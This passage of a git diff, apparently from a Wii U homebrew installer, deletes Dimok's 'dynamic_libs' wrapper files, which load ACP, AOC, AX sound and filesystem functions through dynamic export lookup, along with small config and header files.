- -#endif /* FS_DEFS_H */ - diff --git a/installer/src/common/os_defs.h b/installer/src/common/os_defs.h deleted file mode 100644 index 48a4c8f..0000000 --- a/installer/src/common/os_defs.h +++ /dev/null @@ -1,25 +0,0 @@ -#ifndef __OS_DEFS_H_ -#define __OS_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _OsSpecifics -{ - unsigned int addr_OSDynLoad_Acquire; - unsigned int addr_OSDynLoad_FindExport; - unsigned int addr_OSTitle_main_entry; - - unsigned int addr_KernSyscallTbl1; - unsigned int addr_KernSyscallTbl2; - unsigned int addr_KernSyscallTbl3; - unsigned int addr_KernSyscallTbl4; - unsigned int addr_KernSyscallTbl5; -} OsSpecifics; - -#ifdef __cplusplus -} -#endif - -#endif // __OS_DEFS_H_ diff --git a/installer/src/common/types.h b/installer/src/common/types.h deleted file mode 100644 index 3435e56..0000000 --- a/installer/src/common/types.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -#include - -#endif /* TYPES_H */ - diff --git a/installer/src/dynamic_libs/.gitattributes b/installer/src/dynamic_libs/.gitattributes deleted file mode 100644 index bdb0cab..0000000 --- a/installer/src/dynamic_libs/.gitattributes +++ /dev/null @@ -1,17 +0,0 @@ -# Auto detect text files and perform LF normalization -* text=auto - -# Custom for Visual Studio -*.cs diff=csharp - -# Standard to msysgit -*.doc diff=astextplain -*.DOC diff=astextplain -*.docx diff=astextplain -*.DOCX diff=astextplain -*.dot diff=astextplain -*.DOT diff=astextplain -*.pdf diff=astextplain -*.PDF diff=astextplain -*.rtf diff=astextplain -*.RTF diff=astextplain diff --git a/installer/src/dynamic_libs/.gitignore b/installer/src/dynamic_libs/.gitignore deleted file mode 100644 index cd2946a..0000000 --- a/installer/src/dynamic_libs/.gitignore +++ /dev/null @@ -1,47 +0,0 @@ -# Windows image file caches -Thumbs.db -ehthumbs.db - -# Folder config file -Desktop.ini - -# Recycle Bin used on file shares -$RECYCLE.BIN/ - -# Windows Installer files -*.cab -*.msi -*.msm -*.msp - -# Windows shortcuts -*.lnk - -# ========================= -# Operating System Files -# ========================= - -# OSX -# ========================= - -.DS_Store -.AppleDouble -.LSOverride - -# Thumbnails -._* - -# Files that might appear in the root of a volume -.DocumentRevisions-V100 -.fseventsd -.Spotlight-V100 -.TemporaryItems -.Trashes -.VolumeIcon.icns - -# Directories potentially created on remote AFP share -.AppleDB -.AppleDesktop -Network Trash Folder -Temporary Items -.apdisk diff --git a/installer/src/dynamic_libs/README.md b/installer/src/dynamic_libs/README.md deleted file mode 100644 index be82302..0000000 --- a/installer/src/dynamic_libs/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# dynamic_libs -Dynamic libs for WiiU homebrew diff --git a/installer/src/dynamic_libs/acp_functions.c b/installer/src/dynamic_libs/acp_functions.c deleted file mode 100644 index eb931f8..0000000 --- a/installer/src/dynamic_libs/acp_functions.c +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "acp_functions.h" - -unsigned int acp_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, GetMetaXml, void * _ACPMetaXml); - -void InitAcquireACP(void) -{ - OSDynLoad_Acquire("nn_acp.rpl", &acp_handle); -} - -void InitACPFunctionPointers(void) -{ - InitAcquireACP(); - OSDynLoad_FindExport(acp_handle,0,"GetMetaXml__Q2_2nn3acpFP11_ACPMetaXml",&GetMetaXml); -} diff --git a/installer/src/dynamic_libs/acp_functions.h b/installer/src/dynamic_libs/acp_functions.h deleted file mode 100644 index dc1822d..0000000 --- a/installer/src/dynamic_libs/acp_functions.h +++ /dev/null @@ -1,42 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __ACP_FUNCTIONS_H_ -#define __ACP_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -extern unsigned int acp_handle; - -void InitACPFunctionPointers(void); -void InitAcquireACP(void); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/aoc_functions.c b/installer/src/dynamic_libs/aoc_functions.c deleted file mode 100644 index e74306d..0000000 --- a/installer/src/dynamic_libs/aoc_functions.c +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "aoc_functions.h" - -unsigned int aoc_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(s32, AOC_Initialize, void); -EXPORT_DECL(s32, AOC_Finalize, void); -EXPORT_DECL(u32, AOC_CalculateWorkBufferSize, u32 num_titles); -EXPORT_DECL(s32, AOC_ListTitle, u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size); -EXPORT_DECL(s32, AOC_OpenTitle, char* aoc_path, void * title, void * buffer, u32 buffer_size); -EXPORT_DECL(s32, AOC_CloseTitle, void * title); -EXPORT_DECL(s32, AOC_DeleteContent, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void* buffer, u32 buffer_size); -EXPORT_DECL(s32, AOC_GetPurchaseInfo, u32 * bResult, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); - -void InitAcquireAoc(void) -{ - OSDynLoad_Acquire("nn_aoc.rpl", &aoc_handle); -} - -void InitAocFunctionPointers(void) -{ - InitAcquireAoc(); - if(aoc_handle == 0) - return; - - //! assigning those is not mandatory and it does not always work to load them - OSDynLoad_FindExport(aoc_handle, 0, "AOC_Initialize", &AOC_Initialize); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_Finalize", &AOC_Finalize); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_CalculateWorkBufferSize", &AOC_CalculateWorkBufferSize); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_ListTitle", &AOC_ListTitle); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_OpenTitle", &AOC_OpenTitle); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_CloseTitle", &AOC_CloseTitle); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_DeleteContent", &AOC_DeleteContent); - OSDynLoad_FindExport(aoc_handle, 0, "AOC_GetPurchaseInfo", &AOC_GetPurchaseInfo); -} diff --git a/installer/src/dynamic_libs/aoc_functions.h b/installer/src/dynamic_libs/aoc_functions.h deleted file mode 100644 index efca771..0000000 --- a/installer/src/dynamic_libs/aoc_functions.h +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __AOC_FUNCTIONS_H_ -#define __AOC_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int aoc_handle; - -#define AOC_TITLE_SIZE 104 - -typedef struct { - u64 title_ID; - u32 group_ID; - u16 version; - char path[88]; -} AOC_TitleListType; - - -void InitAocFunctionPointers(void); -void InitAcquireAoc(void); - -extern s32 (* AOC_Initialize)(void); -extern s32 (* AOC_Finalize)(void); -extern u32 (* AOC_CalculateWorkBufferSize)(u32 num_titles); -extern s32 (* AOC_ListTitle)(u32 * num_titles, void * titles, u32 max_titles, void * buffer, u32 buffer_size); -extern s32 (* AOC_OpenTitle)(char* aoc_path, void * title, void * buffer, u32 buffer_size); -extern s32 (* AOC_CloseTitle)(void * title); -extern s32 (* AOC_DeleteContent)(u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); -extern s32 (* AOC_GetPurchaseInfo)(u32 * bResult, u64 title_id, u16 contentIndexes[], u32 numberOfContent, void * buffer, u32 buffer_size); -#ifdef __cplusplus -} -#endif - -#endif // __AOC_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/ax_functions.c b/installer/src/dynamic_libs/ax_functions.c deleted file mode 100644 index e517f6d..0000000 --- a/installer/src/dynamic_libs/ax_functions.c +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "common/common.h" -#include "os_functions.h" -#include "ax_functions.h" - -unsigned int sound_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, AXInitWithParams, u32 * params); -EXPORT_DECL(void, AXInit, void); -EXPORT_DECL(void, AXQuit, void); -EXPORT_DECL(u32, AXGetInputSamplesPerSec, void); -EXPORT_DECL(u32, AXGetInputSamplesPerFrame, void); -EXPORT_DECL(s32, AXVoiceBegin, void *v); -EXPORT_DECL(s32, AXVoiceEnd, void *v); -EXPORT_DECL(void, AXSetVoiceType, void *v, u16 type); -EXPORT_DECL(void, AXSetVoiceOffsets, void *v, const void *buf); -EXPORT_DECL(void, AXSetVoiceSrcType, void *v, u32 type); -EXPORT_DECL(void, AXSetVoiceVe, void *v, const void *vol); -EXPORT_DECL(s32, AXSetVoiceDeviceMix, void *v, s32 device, u32 id, void *mix); -EXPORT_DECL(void, AXSetVoiceState, void *v, u16 state); -EXPORT_DECL(void, AXSetVoiceSrc, void *v, const void *src); -EXPORT_DECL(s32, AXSetVoiceSrcRatio, void *v,f32 ratio) -EXPORT_DECL(void *, AXAcquireVoice, u32 prio, void * callback, u32 arg); -EXPORT_DECL(void, AXFreeVoice, void *v); -EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); -EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); -EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); -EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); - -void InitAcquireAX(void) -{ - unsigned int *funcPointer = 0; - - if(OS_FIRMWARE >= 400) - { - AXInit = 0; - - OSDynLoad_Acquire("sndcore2.rpl", &sound_handle); - OS_FIND_EXPORT(sound_handle, AXInitWithParams); - OS_FIND_EXPORT(sound_handle, AXGetInputSamplesPerSec); - } - else - { - AXInitWithParams = 0; - AXGetInputSamplesPerSec = 0; - - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - OS_FIND_EXPORT(sound_handle, AXInit); - } -} - -void InitAXFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireAX(); - - OS_FIND_EXPORT(sound_handle, AXQuit); - OS_FIND_EXPORT(sound_handle, AXVoiceBegin); - OS_FIND_EXPORT(sound_handle, AXVoiceEnd); - OS_FIND_EXPORT(sound_handle, AXSetVoiceType); - OS_FIND_EXPORT(sound_handle, AXSetVoiceOffsets); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcType); - OS_FIND_EXPORT(sound_handle, AXSetVoiceVe); - OS_FIND_EXPORT(sound_handle, AXSetVoiceDeviceMix); - OS_FIND_EXPORT(sound_handle, AXSetVoiceState); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrc); - OS_FIND_EXPORT(sound_handle, AXSetVoiceSrcRatio); - OS_FIND_EXPORT(sound_handle, AXAcquireVoice); - OS_FIND_EXPORT(sound_handle, AXFreeVoice); - OS_FIND_EXPORT(sound_handle, AXRegisterFrameCallback); - OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); - OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); - OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); -} - -void ProperlyEndTransitionAudio(void) -{ - bool (* check_os_audio_transition_flag_old)(void); - void (* AXInit_old)(void); - void (* AXQuit_old)(void); - - unsigned int *funcPointer = 0; - unsigned int sound_handle; - OSDynLoad_Acquire("snd_core.rpl", &sound_handle); - - OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old); - OS_FIND_EXPORT_EX(sound_handle, AXInit, AXInit_old); - OS_FIND_EXPORT_EX(sound_handle, AXQuit, AXQuit_old); - - if (check_os_audio_transition_flag_old()) - { - AXInit_old(); - AXQuit_old(); - } -} diff --git a/installer/src/dynamic_libs/ax_functions.h b/installer/src/dynamic_libs/ax_functions.h deleted file mode 100644 index 086346f..0000000 --- a/installer/src/dynamic_libs/ax_functions.h +++ /dev/null @@ -1,64 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __AX_FUNCTIONS_H_ -#define __AX_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include - -extern unsigned int sound_handle; - -void InitAXFunctionPointers(void); -void InitAcquireAX(void); -void ProperlyEndTransitionAudio(void); - -extern void (* AXInitWithParams)(u32 * params); -extern void (* AXInit)(void); -extern void (* AXQuit)(void); -extern u32 (* AXGetInputSamplesPerSec)(void); -extern s32 (* AXVoiceBegin)(void *v); -extern s32 (* AXVoiceEnd)(void *v); -extern void (* AXSetVoiceType)(void *v, u16 type); -extern void (* AXSetVoiceOffsets)(void *v, const void *buf); -extern void (* AXSetVoiceSrcType)(void *v, u32 type); -extern void (* AXSetVoiceVe)(void *v, const void *vol); -extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix); -extern void (* AXSetVoiceState)(void *v, u16 state); -extern void (* AXSetVoiceSrc)(void *v, const void *src); -extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio); -extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg); -extern void (* AXFreeVoice)(void *v); -extern void (* AXRegisterFrameCallback)(void * callback); -extern u32 (* AXGetVoiceLoopCount)(void * v); -extern void (* AXSetVoiceEndOffset)(void * v, u32 offset); -extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/fs_defs.h b/installer/src/dynamic_libs/fs_defs.h deleted file mode 100644 index 1b1bc41..0000000 --- a/installer/src/dynamic_libs/fs_defs.h +++ /dev/null @@ -1,61 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/installer/src/dynamic_libs/fs_functions.c b/installer/src/dynamic_libs/fs_functions.c deleted file mode 100644 index 08a4fb6..0000000 --- a/installer/src/dynamic_libs/fs_functions.c +++ /dev/null @@ -1,131 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "fs_functions.h" -#include "os_functions.h" - -EXPORT_DECL(int, FSInit, void); -EXPORT_DECL(int, FSShutdown, void); -EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); -EXPORT_DECL(int, FSDelClient, void *pClient); -EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); -EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - -EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - -EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); -EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); -EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - -EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); -EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); -EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -EXPORT_DECL(int, FSBindMount, void *pClient, void *pCmd, char *source, char *target, int error); -EXPORT_DECL(int, FSBindUnmount, void *pClient, void *pCmd, char *target, int error); - -EXPORT_DECL(int, FSMakeQuota, void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling); -EXPORT_DECL(int, FSMakeQuotaAsync ,void *pClient, void *pCmd, const char *path,u32 mode, u64 size, int errHandling,const void *asyncParams); - -void InitFSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - OS_FIND_EXPORT(coreinit_handle, FSInit); - OS_FIND_EXPORT(coreinit_handle, FSShutdown); - OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, FSDelClient); - OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); - - OS_FIND_EXPORT(coreinit_handle, FSMount); - OS_FIND_EXPORT(coreinit_handle, FSUnmount); - - OS_FIND_EXPORT(coreinit_handle, FSGetStat); - OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); - OS_FIND_EXPORT(coreinit_handle, FSRename); - OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); - OS_FIND_EXPORT(coreinit_handle, FSRemove); - OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); - - OS_FIND_EXPORT(coreinit_handle, FSOpenDir); - OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadDir); - OS_FIND_EXPORT(coreinit_handle, FSRewindDir); - OS_FIND_EXPORT(coreinit_handle, FSCloseDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSMakeDir); - OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); - - - OS_FIND_EXPORT(coreinit_handle, FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadFile); - OS_FIND_EXPORT(coreinit_handle, FSCloseFile); - - OS_FIND_EXPORT(coreinit_handle, FSFlushFile); - OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); - OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); - OS_FIND_EXPORT(coreinit_handle, FSWriteFile); - - OS_FIND_EXPORT(coreinit_handle, FSBindMount); - OS_FIND_EXPORT(coreinit_handle, FSBindUnmount); - - OS_FIND_EXPORT(coreinit_handle, FSMakeQuota); - OS_FIND_EXPORT(coreinit_handle, FSMakeQuotaAsync); -} diff --git a/installer/src/dynamic_libs/fs_functions.h b/installer/src/dynamic_libs/fs_functions.h deleted file mode 100644 index d024655..0000000 --- a/installer/src/dynamic_libs/fs_functions.h +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __FS_FUNCTIONS_H_ -#define __FS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include -#include "fs_defs.h" - -void InitFSFunctionPointers(void); - -extern int (* FSInit)(void); -extern int (* FSShutdown)(void); -extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); -extern int (* FSDelClient)(void *pClient); -extern void (* FSInitCmdBlock)(void *pCmd); -extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); - -extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); -extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); -extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void 